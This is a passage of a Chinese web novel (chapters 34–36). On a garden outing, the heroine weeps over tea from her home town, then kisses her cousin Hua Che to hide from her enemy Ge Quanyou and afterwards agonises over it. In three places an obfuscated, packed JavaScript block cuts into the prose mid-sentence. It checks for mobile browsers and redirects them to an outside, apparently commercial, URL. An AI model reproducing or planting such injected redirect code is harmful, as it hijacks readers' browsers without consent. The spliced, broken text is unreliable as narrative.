“妹妹有话，怎会对我说。我不过瞎猜，随口一提罢了。”花澈若无其事道。 老太太严厉地看他一眼，正色道：“由心在我这里就和亲孙女一样，现在有我，将来你们也不能让她失了依靠。” 花沛喃喃道：“是，当然。” 老太太又看花澈等他表态。 花澈笑着说：“不知我以后娶了媳妇回来，祖母能不能也像疼由心妹妹一般疼她。” “那也得我能等到那一天。”老太太气咻咻说，“快走吧，别在我跟前碍眼了。” . 元宝给花澈回话，见他不吭声，又小心翼翼问：“给大爷瞒着？” “只当不知。还有一事要你办，”花澈拿出一方帖子来递给元宝，“给我去请个人，要他那日务必到。” 34. 茗茶 银荷等着李得的消息，日等夜等，总嫌日子太慢，可是回头一看，却又快得惊心：不知不觉间，她在花家已是一个寒暑。 日与日之间的变化殊难确察，说不清是从哪一日开始，除了报仇，心上又添了一件同样大的事——她要报恩。 花家当她是表姑娘，但银荷自己没法心安理得。她不知这份恩情如何报答，又能不能还报得清？而眼下，不但未能做成一事，反还给别人添了忧烦…… 有这些心事压着，银荷不像以往那般开朗爱笑，这才引起了老太太的不安。 花澈气着了老太太，第二天就去赔罪，终于说得老太太又喜欢了，听闻花澈说某处的牡丹好，便说定带家里女眷同去瞧瞧。 这几天正好是牡丹开得最盛之时，怕误了时节，只一日就安排好了，再过一日，十来辆车子，便浩浩荡荡去往城郊。 银荷和瑷宁、映雪同乘一辆大车，非常舒适稳当。这是老太太为着映雪，特把自己的车子让了出来，又硬要银荷也一起上去。 映雪如今身子渐重，斜靠着坐最舒服，瑷宁不要她动，不断把各样吃食送到她手边：“你只管歪着，我不是伺候你，是伺候小祖宗，咱们现在可都是跟着他沾光呢。” 映雪近来眉宇间忧色去了不少，差不多又回到从前那般，她笑着说：“再吃下去可更走不动了，最近胖了好些。” “瞎说，你还怕这个，我瞧你腰身轻便得很呢，背后看柳条似的，和由妹妹也不差什么。” “你要比个别人我还信几分，和由妹妹比就太离谱了，一听就是哄人。” “你也吃。”瑷宁把果品碟子推向银荷，对映雪道，“老太太成日说她生得单弱，我恨不得拿几只大肥鸭子填填她才好。” 映雪轻轻拉过银荷：“由妹妹最近怎么不去我那儿玩了？” 银荷还没开口，瑷宁就取笑道：“你干等着啊？要下帖子请。由妹妹大了一岁，架子也大了，我请她去，都不搭理。” 银荷不好意思地说：“我去做什么，大嫂忙着，又没空陪我。” “陪你？”瑷宁做个嫌弃的怪脸，“我只等着以后陪侄儿玩。”她对映雪说，“你的好日子就要到头了，老太太都说了，等出了月，你就得当起家来，轮我爽快去了，今儿走马，明儿放鹰，人生在世，痛快就这几年。” 映雪急得摆手：“你可不能放鹰。我不想揽那些事，我哪里干得了。” 瑷宁轻轻推她一下：“你不想揽，有人想揽还揽不到呢。这是老太太看重你的意思，原先就想着了，让我以后交给你。” “老太太白看重我了，我真的不行，也不想。” “有什么不行，我当初也是鸭子上架，谁笑话谁。再说还有我呢，你要信不过我，还有二弟，怕什么。你是个聪明人，肯定比我强。你要硬不肯，分明是要我为难，看你婆婆把我恨成什么样子了？我敢和你说这个，你倒来和我撇干净，太见外。” 映雪听了感动，和瑷宁推心置腹，说些婆媳相处、家常人情之事，也不避讳银荷。 银荷有一搭没一搭听着二人说话。那些事似乎离她很遥远，可是听起来异常亲切，她丝毫不觉琐碎无聊，只感到心中一片安宁喜乐。 不过瑷宁这时又来对她说：“由妹妹也该学着些，等你嫁人就知道了，姑娘好过，媳妇难当。我们这些体几话，你听了也不吃亏，迟早用得上。” “谁要听。”银荷扭开头去。 “谁要你来和我们挤。”瑷宁酸溜溜道。 映雪笑着说：“别吓由妹妹，等由妹妹做了媳妇，也好过。不管谁娶了由妹妹，哪里会让她受委屈。” 银荷脸更红，掀开帘子一角看窗外，嘴里嘀咕：“等回去时候我可不和你们一块儿坐了。” 映雪又说：“别说老太太，就是我也舍不得由妹妹嫁人。我现在可听不了这样的话，光是想想阿瑛要出嫁我就难受。” 瑷宁吃惊道：“呀，瑛妹妹就要说亲了吗，看好了谁家？” “倒还没开始议，不过二爷要我将来再和太子妃多走动走动。” “什么？”瑷宁喊叫，“他想要瑛妹妹进东——” “不是不是。”映雪连忙解释，“瞧我嘴笨没说清楚，是因为太子妃的兄弟——少将军据说过段时候要回京了。” “哦，我还以为是想瑛妹妹将来当皇妃，原来是为了以后做国舅夫人啊。”瑷宁打趣说，“你们倒是心不小。” “这还没影的事儿呢，”映雪忙说，“只是二爷说，少将军人才合适，又没婚配，京中现在也找不出几个人，要能成倒两下便利——婚姻大事岂能图便利？没有合适的晚些也不怕。反正我是觉得不太妥，我都没敢和阿瑛提，怕她再为这个生气。” “你怎么知道瑛妹妹不愿意？”瑷宁笑问。 “怎么可能愿意。阿瑛多么水灵娇贵的女孩儿，谁要和他们一介武夫在一块。” 瑷宁听见笑起来，映雪也笑：“我知道我不该说这话，我哥哥他们就是那样，他们还算是好的了——我大哥一天到晚纸上谈兵，也不知是怎么正好遇到我大嫂，恰能和他讲到一起；我二哥成日舞枪弄棒，更是粗人一个，还不晓得有没有姑娘肯嫁给他。” “也就你敢这么编排兄长。”瑷宁笑道，“我知道你怎么想的，能对自家姐妹好的人，其实都不差。” 映雪深深点头。 她们谈论这些，银荷不好意思插话，却听得怪有趣，特别是映雪又说哥哥，令她心生羡慕。 瑷宁本来爱和她打趣，偏故意说：“由妹妹想什么呢，这样出神？——看看，脸上都抹胭脂了。” 映雪好像瞧出银荷心思，笑说：“我只有两个，由妹妹可是有三个好兄长。” “三个？你没算谁？”瑷宁奇道。 映雪红着脸说：“他要是不顾阿瑛意愿要她嫁人，就算不得好兄长。” “我当什么，原来你是说这个。”瑷宁笑出声来，“二弟真不会那样，就是他有想法，也得老爷太太答应。而且谁认识少将军啊，亲不亲，故不故的。我看这准保还是你婆婆的意思，她喜欢那些排场。其实咱们家比他们又不差什么，何必上去巴结。瞧将军夫人摆那付皇亲国戚的架子，哪怕少将军本人再好，有这么个婆婆也真够受。” 映雪笑道：“也不至于叫你说成这样，有些人生来是那种脾性，太子妃人就很好。” “你就是看谁都好，知人知面不知心啊。”瑷宁感叹。 映雪听见，脸色一变，轻轻摇了摇头，没说话。瑷宁后悔自己多言，赶快拿话来岔：“回去我就把家里的事交给你，瑛妹妹也好跟你学着些，她都要说亲了，正该多演习演习。” 就这样一路说着，便到了地方。众人下车，还未见到牡丹的影子，已感香气盈怀。邀月搀了老太太，几位太太跟着，旁边围着拎包袱的、撑伞遮日头的丫环们，和那出来迎接的仆妇，一大群人鱼贯进了花园。 瑷宁关照人扶好映雪，又忙着要去前面老太太那边照看，临走时还不忘对赶过来的织雨说：“可要看牢你们姑娘了，上回就差点儿丢了她。” 这是不知谁家的一处大花园，因在郊外，修建得格外大些，里面一般也是廊阁起伏，湖山相映，清贵气象不逊花府，而大家是头一回来，看着新鲜，更觉好玩。 园中到处都是牡丹，洋洋洒洒，旁若无人地怒放着。谁瞧着都欢喜，众人边走边观赏，又见三三两两个抱着笛、箫、筝、琵琶的乐女走过，散于四处，很快就从各方向传来不同乐器之声，此呼彼应，水乳交融，极其悦耳。 几位姑娘同映雪在园内转完一半，瑷宁差人来请，将她们领至三面临水一座池榭，内里已置好桌椅，老太太、太太等人正在其中休息，三、五个小丫环在四周回廊上凭栏观鱼。 老太太背墙面水坐着，见几人进来，就要银荷和映雪坐在两旁。“咱们就在这儿好生坐着，别吹了风。”她又对众人说，“今天正好十个人，你们娘几个也别拘礼，随便坐着，挤一挤才亲热。” 于是大家不分长幼，只管都坐下。老太太说：“吃些东西你们再逛去，这园子大，修得也甚好。就是澈儿太可气，大张旗鼓哄了咱们一窝子人来，临了自己却不见影，谁知是不是躲着吃酒去了，要不准在哪里捣鬼。” “他们哪有耐烦赏花看草，和我们坐不到一处，不如自己玩去。”大太太道。 瑷宁说：“老太太莫怪，这回我可要为三弟道个不平。我虽头一次来，好些年前就听说过：这里主人家性子怪癖，何曾招待过几个客人。要不是三弟，咱们也不能进来玩。” 老太太笑呵呵道：“他再费事，咱们偏不领情，他敢埋怨不成？谁让他人也看不见，还得罚他，这次不算数，等着让他再请一回。” 说着话，一列侍女端水来给客人洗手，又在每人面前摆一个精致的八宝攒盒，于是大家用饭。饭毕后，各人又盥漱一回，便有人奉上茶来。 “这是什么茶，我没喝过。”老太太奇怪道。 银荷刚端起茶杯，心里便是一惊，待捧到嘴边喝下一口，眼中即刻就浮起泪来。这是在矴州时喝惯了的茶，味道清纯皓洁，由心和她都非常喜爱。离开矴州之时，她还问由心该不该带些茶叶，由心当时说：“不必了，总有喝完的时候，倒不如早早习惯。”看她难受，由心又安慰道，“少带些吧。茶叶而已，不喝便不喝。前头一定有更好的，没这一样，也有其它。” 银荷真没想到，今日在此处竟又喝着了。 老太太询问，领头的侍女答：“前儿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069840|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这些新茶，叫做云清，是矴州出产的，咱们这里不大见到。请老太太和尊客人们尝个新鲜。” 大家听了，都去看银荷。 银荷眼泪已经在打转了，让人一瞅，便再也忍不住，泪珠一滴滴落下来。 老太太心疼地将她搂在怀里，对那侍女说：“我家这女孩儿恰好在矴州长大。碰见你们的好茶，倒把她勾起伤心了。” 那位侍女向银荷瞧瞧：“这么多人疼姑娘，姑娘是有福之人。乡茗解乡愁，我再送姑娘些，只当陪个不是。”说着便匆匆离去。 瑷宁便说：“这茶果然好，又清淡，我也爱它。等下分我一半，由妹妹不会又掉眼泪吧？” 银荷正因在人前哭起来而难为情，赶紧止了泪：“我还没拿到，大嫂这就来抢了，还笑话别人小气。” “算得了什么。”老太太笑着说，“他们有多少，都要了带回去。” “主人还没见过，就要东要西，人家心里头还不知怎么嫌咱们厚脸皮呢。”瑷宁笑道。 老太太说：“怕什么，澈儿既相熟，就让他去讨。” 银荷忙说：“其实这茶味淡，喝多了也不过如此，我不愿喝，都给大嫂吧，何必又去麻烦三表哥。” “不麻烦。”老太太轻拍银荷，“我是没想到，你也不好说。你以前爱吃的，爱玩的，都只管开个单子，你三表哥没有弄不来的东西。” 不一会儿，适才那位侍女拿盘托了几只罐子回来：“这茶不宜久放，我们没余多少，权当个心意吧，以后得了新鲜的再送到贵府上。” 老太太称谢一番。那侍女又说：“可惜老爷现在不在家，不然定要好好款待诸位。只是——”她转向银荷，歉意道，“我家少主人听见惹出姑娘思绪，深为不安。若姑娘不嫌造次，公子想请姑娘旁边小坐，说不定能为姑娘稍微疏解一二。” 银荷连忙婉言谢绝，心想这家父子果然都是离经叛道的人物，难怪花澈与他们交往。 对方大概也知道请求不合时宜，不再多口，歉然一笑便去了。 老太太玩乐一上午，此时已感困乏，便由邀月等扶了、三太太陪同着去休憩。 趁无人注意，瑷宁悄悄打趣银荷说：“看看，哪个不是招人疼惹人爱，偏你到处出头——人家想要留你呢。我正要和老太太说，不如就应允下来，也省得她老人家再操心。我瞧这儿什么都有，独缺一位少夫人。” 银荷羞恼打她。瑷宁又说：“又不是往火坑推你。——看这园子，主人肯定阔绰得很，人家还风雅得紧，是个倜傥不群的人物，又会体贴，千妥万妥。我是为了你好，早晚你才信。” 银荷臊得拧开身去，瑷宁怕她真急了，便停住口。 众人重新坐好，端起茶杯慢啜细品。窗外水光澄明，花香和着悠扬笛声一阵阵飘来，令人目清耳清神清。 大太太皱皱眉，鄙薄道：“什么正经人家，好养这么些弹唱的。” 大家皆不言语，她又向映雪问道：“身上怎样？本不该叫你出来，跑这大半日，太劳累，你又比不得别人。头一个孩子，可得小心了。” 映雪忙回说：“并不累，大夫也说总坐着不好。出来走走反还觉得轻便些。” 大太太点点头：“既这么着，平日你还得当心，针线上的事情就别自己忙了。” “每日只做一会儿。”映雪脸有些红，“小孩子衣裳容易做，我想着将来贴身穿，比旁人做的舒服。” “那也用不到你动手，要是不放心丫头们，尽管让戚晚去做，我看她做得倒还不错，让她给潜儿也做上一身。” 此话一出，听见的人多少都变了颜色。花瑛不敢相信地看着母亲，二太太坐也不是，走也不是，扭了头去。 映雪小声说：“戚——她愿意做便做吧，我们各做各的。” “照我说，戚晚其实也算个实在孩子。”大太太劝道，“况且你是什么身份，哪有与她逞脸赌气的？她既情愿，由她做去，你就当多了个使唤的人，又怎的？” 映雪还没答，花瑛就说：“哥哥早说过让她别烦嫂子。都不理她，有本事别凑上来寻隙觅缝，大家好看！” 大太太狠瞪花瑛一眼，待要说话，再瞧见二太太神情，不免浮出得意之色，又拉着映雪一通关心，生怕她吹了风晒了日头，一时又责骂旁边丫环伺候得不好。 “娘！”花瑛忍无可忍，“嫂子好着呢，你没完没了的才是打扰了她。” 映雪忙斥她：“怎么能和母亲这样说话？”又对大太太说，“母亲别生气，阿瑛不是那个意思。” 大太太早已气得脸色发青：“好嘛，养活你一场，倒是养出个——”她半日没说出来，再开口却是向着二太太，“你看看，这就是闺女的好处，还是三弟妹没姑娘，倒有福。” 35. 琴心 大太太骂花瑛，大家都不自在，或者心里憋着气，只不好回嘴。勉强再坐一时，银荷借净手起身出来。 上午园子还没逛完，银荷本想再拉几位姑娘一同去别处转转，回来后却见只有大太太和映雪、瑷宁仍原地坐着，其他人不见了。 瑷宁出来，向内努努嘴，小声说：“谁能坐住，你们都去罢。瑶妹妹她们往那边去了，要你去寻她们。我再陪着说几句，等下和你二嫂都过去。” 恰这时正要给丫环们摆桌上饭，银荷便要织雨先吃：“我自己去找就行，跑不丢。” 先前和大家说话的侍女在一旁听见，说：“我带姑娘过去。” 瑷宁便向银荷意味深长一笑，又做个口型：“当心。” 银荷知道还为“少夫人”的戏谑，也不理会，只管跟着人走了。 穿过一间别致小亭时，只见花匠搬来绷着绸布的架子，正要遮挡亭外的一株花。这满园牡丹只管随处栽随处开，没有这样娇气的，银荷不由要瞧瞧是个什么名贵品种。看过去，那却不是牡丹，而是株白色芍药。 为何特别在此单栽一棵芍药，银荷感到奇怪。那位侍女看到她的目光，解释说：“日头毒时怕晒了，故要罩起来。我们老爷在家时，最喜坐在这里。” 银荷不欲打听主人的癖好，只点点头附和。很快，她们来到飞檐翘角、建成“回”字形一座楼宇前，这里看着像是大宴宾客之所，也正有丝竹之声传出。 领着银荷的便问站在门前的侍女：“客人在里面？” “可是说那几位姑娘，一人穿着淡绿衫子、衣上绣竹叶花纹？” 银荷见她形容的正是花瑶，忙说是。 那侍女却不引银荷进去，指了指楼梯：“南面这一间，请姑娘自己上去吧。” 上楼的时候，不知何处传来琴乐，似远而又若近，银荷情不自禁伫着脚去听。那曲调说不上是欢快还是哀愁，弹奏也说不上是纯熟还是平常，不知为何却分外撩人情怀。弦音如雨珠飘洒，她的心也随之一起轻颤。 银荷心中一闪：“我是在哪儿听过这支曲子——不，一定没听过，不然怎会不记得？” 好生奇怪的感觉，似陌生又似熟悉：说陌生，是相识的陌生，如同朔漠狂沙、银浪碧海，在书上已读过千百回，看到时定也能认出来，只是那初见的震撼又远非事先可想；说熟悉，是模糊的熟悉，好比日日所见的飞鸟、楼台，入到梦中，恍如又有了新的样子。 这种感觉真像捕捉不及的梦境——仿佛就在眼前了，但若真要伸出手去，它定会一掠而过、杳无痕迹。 有种哀伤自她心头涌起，也不是哀伤，不如说是渴望和怅惘。在此之前，银荷还不曾如此明晰地意识到，任他是谁，也得不到所有，总有些什么要失之交臂。“风流云散，一别如雨。”若说是遗憾，这也是世间永恒的遗憾，然而她还是想要抓住，想得几乎掉下泪来。 她被乐曲牵引，又一阶阶向上走去。楼梯对的这间屋子便是南面屋子，不会有错，屋子没有闭门，声音就是从这儿流倾出来的。 银荷撩开珠帘进入其中。屋子挺大，因没多少器物、装饰，看上去更是空空荡荡。地板正中铺一块厚实的蓝花织毯，给人的感觉像是漂浮在湖心的小岛——她小心地探出脚，迈了一小步，犹豫着该不该涉水而过，踏入那片蓝色的岛屿——一位着月白深衣的男子在岛心抚琴，乐音自他指间回旋开来，清风般从她身旁流过。 “妹妹是来找我？”弹奏并没停，然而他一抬眼，手指不由稍稍一滞。不知是因这细微的节奏错乱，还是因开口说话，琴声的魔力被打破了。湖水骤然退尽，不过是一间方方正正的屋子，脚下是实实在在的地板，银荷才认出男子是花澈。她大梦初醒般移开目光，旁边不知何时冒出一位侍女，正在摆放酒壶。 “我走错了。”银荷干巴巴地说，一面就要向外退去。 “何不将错就错？我等的人还没来，独坐无趣，妹妹肯不肯陪我一会儿。”花澈说着站起身来，示意侍女将琴收了，自己则斟了两杯酒，“这酒一点儿也不伤人，妹妹尝尝，你会喜欢。” “什么酒我都不喜欢。瑶妹妹她们在哪儿？”银荷说得很不客气，话一出口，她自己都有些吃惊。 花澈却不介意。“妹妹不用急，稍等一下。”花澈举起酒杯说，“以前我对妹妹多有不敬，今日一并向妹妹赔罪。”说完他把酒一饮而尽，才说，“几位姑娘都在楼下，楼上是主人另请的客人，妹妹小心，别再走错了。” 银荷点点头，刚转身出门，屋内那名侍女抱着琴也跟出来了，抢在银荷前面下了楼。 银荷这时已不想再找花瑶等人，她在楼梯口略停一下，随意向下一瞥，见一位富贵公子领着三五名小厮，正大模大样走进来。再平常不过的场景，却令银荷厌恶地别开眼。究其原因，恐怕是这公子穿着件紫色衣裳，让她想起…… “你们都在外面候着。”那人大声命道。一霎间银荷连头发根儿都乍了起来。假如声音也能够烧化，这声音不管化成灰化成烟她都认得出来——葛全有！ 她直愣愣向他的脸看去，错不了，正是葛全有那狗东西，该来的终于来了。 那日在河边，她和由心跳下车，迎面看见葛全有。他穿着古铜色开氅，露出里面紫缎的褂子，同着个样子粗蛮的家仆，大模大样立在那儿。当时她尚还不怕，可如今…… 要是手边有条棍子，她一定直冲下去。没有棍子也有拳头呀，然而攥得拳头发了白，银荷依旧站着没动。 还等什么？银荷对自己愤怒，眼睛又飞速搜寻李得的身影。没有。她突然明白了，这不会是得叔的安排，只有她一人——而她甚至比上一次面对葛全有时还要无助！ “怎么我过来你要走，坐下弹一曲我听听。”葛全有拉住刚下楼那位侍女，笑道。 那姑娘摇头，对他说了些什么，又指指楼梯。 “东边那间，晓得了。”葛全有说着朝楼上走来。 银荷猛然想起，她今日是来做客的，葛全有亦是主人请的客人。她再想杀葛全有，并不想搭了自己一条命去。既然已经等到了今天，不在乎多等一时——他来了便跑不了。 银荷死死盯住葛全有，他正向楼梯走来，越走越近，只要一抬头就能看到她。 银荷心狂跳，喉咙发干，动弹不得。一个激灵，她才回了神，赶紧退回几步，拐到西边走廊。 那儿也有位侍女，拉住她往楼梯走：“姑娘下楼去吧。” 只有那一道楼梯，会正面撞上葛全有。银荷不想现在被他看到，失了先机。 火烧眉毛了，银荷一闪身又进了刚才那间屋子。 进去第一件事就是转身关门，可不知门上有什么机关，竟是推拉不动，急得她一层细汗冒了上来。 只听花澈问道：“妹妹改主意了？请过来坐下，那门坏了，别去管它。妹妹不想有人打扰，还是要躲谁？” 银荷哪有工夫和他斗嘴扯闲，一边向屋内走，一边急道：“外面有个男人，我不想见他。” 花澈带些好笑地问：“哪个男人，你认得？” 银荷本想着葛全有是要去东边屋子，躲得过。谁知，他的声音已在门外了：“原来在这儿，让我好一顿找。” 银荷又惊又怒，不及细想葛全有竟是来找花澈的。一眨眼，她已经绕过花澈面前案几，来到他身旁。她恳求的目光刚对上他的双眼便立即躲开去。 她只看出他正要起身。无论做什么都来不及了，银荷心一横，趁他还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079645|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全站起，双手环上他的脖颈，将自己的脸向他的脸靠近。 花澈脑袋轰地一下，完全懵了。 他一早策划好的事，没想着会遇到任何阻碍。不过在听到银荷哭了时，他略微有些松动：说到底她不过是一个无亲无援的可怜姑娘。松动归松动，他还是想看看她惊慌失措的样子，看看这假表妹要被揭穿真面目时，还能耍出什么新花招。在众人面前或许太令她难为情，他改成了只有他一人。 就在关键一刻来到前，他看清了银荷的神色——那双眼睛已经不复闪动着头一次进屋时奇异的光芒，但同样直烙进他心里。“你放心。”他不禁就要说。 可她的嘴唇已经贴住了他。世上没有更甜美的东西，他几乎把一切都忘了，却还有一点儿明白——她是不得已。失望变为痛苦，一瞬间令人难以忍受，下意识要将她推开，虽然使不出多大的力气，不然何至于竟推不动。 银荷即刻便感觉到了花澈的拒意，先是悔恨羞惭，接着，委屈铺天盖地。她想，不能哭，这时哭又算什么呢。罢了，破罐子破摔吧。她向花澈贴得更紧，自然不是循心愿——不知是循着什么，她将他衣裳紧紧攥在手里，微微探出舌尖。 迷迷糊糊中，她仿佛看到自己被推到一边，葛全有一面破口大骂一面冲过来拉扯她，花澈合抱双臂站在一旁，脸上挂着不关痛痒的讥笑。 这幅情景在她心中火烧火燎，可下一刻，所有幻影都消失了。银荷发现自己正被紧紧搂着，对方的唇温柔地合在她的唇上轻轻吸吮。浅浅深深，疏疏密密，徐徐急急，如同三月的雨。相偎缠绵间，带着清冽的酒香。 银荷全然没有听到葛全有进来后艳羡地哎呦了一声，说了句下流话，才颇不情愿地退去。真奇怪，之前的乐曲在她脑中回响，不绝如缕，那琴声既影影绰绰，又活色生香。她这才恍然，那是诱惑的旋律。 她到底登上了那座小岛吗？不，再没什么小岛了，地面在她脚下裂开，一股急流挟卷了她，不容分说向着未知的地方冲去。 她还是不知该做什么，甚至不知想做什么，只是无法再控制自己。先前被憋住的泪水止不住滚落，无声地濡湿了她的面颊。一个又一个吻落在她湿漉漉的脸上、半阖的眼皮上，然后又去寻找那对颤抖的嘴唇，如饥似渴…… 天上一日，人世一年。总有那么一些时候，让人无法估算清楚，不知到底过去了多久。 等银荷感到自己又在呼吸时，她已坐了下来，花澈站在一旁，执一杯送至她唇边：“喝了。” 银荷不敢动，不敢说话，也不敢抬起眼睛。就着花澈的手，她稍稍仰起脖子将杯中酒尽数咽下。这酒并不辛辣，酒香中带着清甜的果香，正是刚才尝到的味道。银荷一时心慌意乱，更深的红晕慢慢染上她的双颊。 花澈又倒来两杯酒，她依样喝尽。当她准备像这样继续喝下去时，才发现花澈一句话没说，突然离开了屋子。银荷大大松了口气。 可是她依然不敢动，恨不能化作石像。一阵头晕目眩，她似是真的醉了。醉了也好。 终于，进来两位侍女。银荷一样不敢看她们的脸，任由她们扶起她，扶她下楼，再扶她出门。一路上，一个人也没有碰到；刚来时还到处响着丝竹声，现下，周围却静得可怕。 又上了马车，银荷缩在角落里，只觉手脚都没有地方放。这时，听到车外传来织雨焦急的问话：“姑娘，哪里不舒服？” 银荷勉强张了嘴，还未发出声，听见花澈说：“没事，她有些醉了。你们先回去，我去告诉老太太。你坐那辆车，让你们姑娘安静会儿。” 银荷一动不动，只听织雨似是应了什么，声音渐渐远去。终于，车子震动一下，她长出一口气，在座椅上躺了下去，用袖子盖住脸。 36. 醒后 一路上马车跑得飞快，到了花府门口，织雨惦记姑娘醉酒，不待车停稳就急忙下来，赶着去扶姑娘，却只见到姑娘的影子一晃进了门，织雨忙也跟了进去，谁知她走得快，姑娘走得更快。待织雨气喘吁吁回到清圆居，只有小朝在外头站着。 小朝因贪食枇杷吃坏了肚子，这日没有出门。她把织雨拉到一旁，小声说：“织雨姐姐，姑娘怎么生气了，把我们都赶了出来。” 织雨赶忙去看，银荷鞋也未脱躺在床上，用手盖着眼睛。 织雨只道是醉酒的缘故，忙沏了蜂蜜茶，好歹劝银荷喝下，将探头探脑的小丫环都打发走，只留银荷一人休息。 傍晚，老太太遣人来问，织雨亲自去回说姑娘醉了酒已睡下，并无大事，老太太便叮嘱几句。 这一天，银荷没起床吃饭，也没别的动静，织雨不由嘀咕，不知喝了多少，怕是醉得狠了。谁知，第二日早晨，银荷还躺在床上，脸颊一片潮红。织雨伸手去探她额头，倒也不觉得烫，可轻声唤她又不见醒来。从未见过这种情形，丫环们都慌了，忙去回老太太。 . 银荷陷在混乱的梦中，梦境支离破碎，人物面目不清。她一直在逃，可是连要逃开的是什么都不知道。隐隐约约,她猜到自己正在做梦，奇怪的是并不想醒来，宁可在半黑暗中摸索挣扎。 这时,突然感到有只手轻轻触到她的脸上，银荷立即放弃了挣扎，安静下来。她燥热的脸颊似乎一直渴望这样的抚慰，就像嘴唇发烫的旅人渴望清凉芬芳的泉水。 银荷只觉异常舒适，不由自主偎了过去，想要将整张脸都埋在那只手中。 只听得轻轻一声：“傻妹妹。” 银荷浑身一僵，她再迷糊也听得出这是花澈的声音。梦境碎了，她清楚地知道自己正躺在床上，在她的屋子里，在花府。只剩一件事可做，睁开眼睛，而这恰恰是她最不愿做的。 终于她战胜了自己。并没有什么可怕，周围还是熟悉的一切，四下里悄无声息，半卷的珠帘静静地垂着，连最轻微的晃动都没有。银荷坐起身，还没开口唤人，织雨和小朝已听到动静，立即就过来了。 “姑娘醒了，觉得如何？”两人都惊喜万分。 “什么时候了？我睡了很久？”银荷问，看着室内略暗的光线，推测不出到底是什么时辰。 “从昨天下午到现在，姑娘睡了差不多整整一日一夜了。”织雨给她端来水。 银荷喝一口，很随便地问：“我睡着的时候有没有说什么?我好像一直在做恶梦。刚才听到有动静才醒的，可是有人来过？”说完她紧张地等待回答。 “没有，姑娘睡得很安静，就是唤不醒，我们才担心。太医走后就没人来了。”织雨有些担忧地看着银荷，“姑娘还有哪里不舒服，想不想用饭？要不先喝些粥，等会儿好喝药。” 银荷长长舒一口气，又诧异道：“我没事，怎么还请了大夫，还要吃药？” “起先以为姑娘是醉了酒，后头冯太医来，又说不像醉酒，也看不出什么。最后是三爷另荐了位太医来看，说没大事，让姑娘好好睡，大约这时候也就该醒了，果真如他所说。” 听到三爷，银荷像被钢针猛地扎了一下。她打发织雨去回老太太，又问小朝到底怎么回事。 “大夫说姑娘思虑重……我忘了他是如何说，反正只要调养调养就好，开的是安神的方子。老太太差点儿不许他回去，他说姑娘实在无碍，过几天再来。所以姑娘不用怕，好生养几日就好了。哎呀，姑娘你不知道，开始老太太可急坏了，把三爷叫去一顿好骂。大奶奶她们听说都来了，外头屋子都站满了，各出各的主意。后来这个大夫说要完全安静，这才散了。” 不一会儿织雨转回来，听见小朝还在滔滔不绝，责备道：“姑娘需要安静，偏你话多吵人，快出去罢。”她又向银荷说，“老太太先前嘱咐过，这几日不许人来扰姑娘。姑娘也不用着急去前头问安，想要什么和我们说，闷了就去园子里转转。” 银荷都答应了。她并不感觉身体有不适，但这静养的法子却甚合心意：如果可以，她真希望能一辈子躲起来不见人。 可当屋内只剩自己时，寂静却压得她喘不过气。听不见别的声音，她便能听到那个声音说：真不害臊不害臊不害臊…… 银荷在被曲展领回家前，是在山上庙里长大的。她不是佛门弟子，僧人们并不管束她。对于年幼的银荷来说，世间人事和山中的飞鸟走兽，天上的白云明月无甚差别。 到了曲府后，于她始是混沌初开。可即便懂事后，邬嬷嬷也总说她“一身野气”。 大概是没有全懂。银荷万分羞惭，把脸埋进手里。 “我怎能做出那样的事，他会如何想？——我自己都不知道为什么，总不能是因为他好看。”想到这儿，那对为美酒所润泽的嘴唇立即鲜明地映入脑海，仿佛是她醉死前看清的最后一幅画面。 顿时，她的脸上像是燃起了一盆火，烫得她连手都急忙甩开去。 “是我太着慌，太怕教人发现。” 但她还是瞧不起自己——但凡有几分羞耻心，事情发生的时候，难道不该另想办法，而非藏进他的怀里？ “这并没有什么大不了，”银荷在心中为自己激烈地辩解，“不过是，不过是……，反正它任何意思都没有。我是迫不得已，是一时发晕。在那种情形下，我还能怎么办？” “可偏偏是他！他会以为我是想要……” “我绝不是那样没规矩、无廉耻的人！我心里没有一点点乱七八糟的念头。”银荷猛地仰起头，仿佛面前正有人等着她做出保证，“这不算什么，对我不算什么，对他来说，就更不算什么了！他哪怕有一点点是个正人君子，就不该为此误解我。——能相信他吗？” “只要谁也不再提此事就行，我经受得住。可是，还是让姐姐蒙羞了，——啊，不行，还有葛全有！” 想到由心，银荷为自己竟将个人尊严置于报仇之上而骇然，又感到了一阵新的刺痛。难道她一年以来念念不忘的不是这件事吗？眼下就是最好的时机，她必须去找花澈。 百般情绪在银荷心里回回旋旋，也不知过了几轮，最后她终于平静下来。 虽已下定决心，但也不是马上就能迈出第一步，银荷着实将自己在屋内关了三天。三日中，所见的人只有清圆居几个丫环。即便有老太太吩咐在先，如此安静还是令银荷疑惑。随即她又惊跳一下，倒好像在盼着谁来一样，盼谁？ 终于她忍不住说：“姑祖母这几日可好，我去瞧瞧她吧。” 织雨急忙拦住：“老太太也是惦记着姑娘，每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 